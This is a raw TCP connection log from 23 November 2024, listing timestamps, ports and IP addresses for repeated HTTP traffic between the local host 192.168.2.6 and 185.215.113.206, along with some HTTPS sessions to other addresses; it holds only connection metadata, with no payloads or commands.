Nov 23, 2024 05:02:53.534764051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534779072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534785986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534806013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534811020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534827948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534842014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534842014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534857988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534858942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534873962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534876108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534885883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534892082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.534904957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534923077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.534936905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.535135031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.535233974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.535279989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.536061049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.536112070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.536194086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.536236048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.537039995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.537086010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.537148952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.537216902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.537986994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.538047075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.538080931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.538121939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.538921118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.538973093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.539038897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.539084911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.539895058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.539947987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.539987087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.540232897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.540848970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.540894985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.540962934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.541008949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.541801929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.541857004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.541899920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.542071104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.542757988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.542809010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.542862892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.542911053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.543147087 CET	49903	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:53.543173075 CET	443	49903	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:53.543241024 CET	49903	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:53.543468952 CET	49903	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:53.543487072 CET	443	49903	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:53.543719053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.543778896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.543819904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.543912888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.544677019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.544792891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.544846058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.545624971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.545672894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.545712948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.545753002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.546574116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.546700954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.546732903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.546744108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.547543049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.547596931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.547641993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.547765970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.548466921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.548520088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.548589945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.548763990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.549418926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.549468040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.553798914 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:53.554316998 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:53.554667950 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:53.555917025 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:53.555938005 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:53.564043999 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.564516068 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:53.564552069 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.564976931 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:53.564981937 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.572362900 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.572381973 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.572484016 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.572510004 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.572556019 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.573873997 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.573916912 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.635262012 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.635281086 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.635356903 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.635369062 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.635649920 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.635710955 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.639843941 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:53.639863014 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:53.700756073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.700815916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.700839996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.700922966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.701195955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.701245070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.701354980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.701409101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.702167034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.702220917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.702255011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.702303886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.703114986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.703172922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.703219891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.703305006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.704085112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.704138041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.704207897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.704252958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.705013990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.705068111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.705107927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.705173016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.705952883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.706010103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.706048965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.706095934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.706935883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.706990957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.707031012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.707145929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.707855940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.707974911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.708024979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.708834887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.708889008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.708928108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.709171057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.709773064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.709835052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.709888935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.709959984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.710721016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.710777044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.710822105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.710880995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.711677074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.711780071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.711807013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.711822033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.712649107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.712697029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.712749958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.712795973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.713589907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.713702917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.713742018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.713768005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.714622021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.714731932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.714773893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.714798927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.715492964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.715540886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.715665102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.715791941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.716447115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.716496944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.716551065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.716623068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.717413902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.717467070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.717506886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.717546940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.718365908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.718460083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.718498945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.718540907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.719341993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.719408035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.719424009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.719463110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.719552040 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.720269918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.720314980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.720360041 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:53.720377922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.720390081 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.720432997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.721002102 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:53.721007109 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.721208096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.721265078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.721273899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.721446991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.722168922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.722244024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.722275972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.722321033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.723138094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.723186016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.723243952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.723283052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.724096060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.724153996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.724193096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.724289894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.725033045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.725140095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.725150108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.725285053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.725990057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.726095915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.726099968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.726186037 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.726963043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.727015018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.727057934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.727097034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.727911949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.727961063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.727994919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.728164911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.728852987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.728899002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.728948116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.728987932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.729795933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.729859114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.729899883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.730374098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.730758905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.730823040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.730863094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.730909109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.731709957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.731771946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.731810093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.731997013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.732656002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.732726097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.732764959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.732810020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.733634949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.733684063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.733726025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.733771086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.734572887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.734622002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.734679937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.734818935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.735529900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.735589981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.735629082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.735668898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.736480951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.736536980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.736577988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.736620903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.737432003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.737485886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.737533092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.737571955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.738393068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.738401890 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.738456011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.738507032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.739372969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.739427090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.739460945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.740283966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.740335941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.740374088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.741019011 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.741041899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.741240025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.741348028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.741391897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.742211103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.742259979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.742297888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.742347956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.742818117 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:53.742846966 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.743021011 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:53.743056059 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.743156910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.743201971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.743257046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.743339062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.743478060 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:53.743488073 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.743558884 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:53.743565083 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.744118929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.744168997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.744204044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.744245052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.745064020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.745105982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.745172024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.745383978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.746010065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.746054888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.746099949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.746149063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.746974945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.747034073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.747072935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.747112989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.747924089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.747987986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.748020887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.748064041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.748867989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.748935938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.748969078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.749015093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.749830008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.749891996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.749923944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.750029087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.750726938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.750786066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.843096972 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.843559980 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:53.843595028 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.844006062 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:53.844011068 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:53.902111053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:53.902164936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:53.902204990 CET	80	49819	185.215.113.206	192.168.2.6
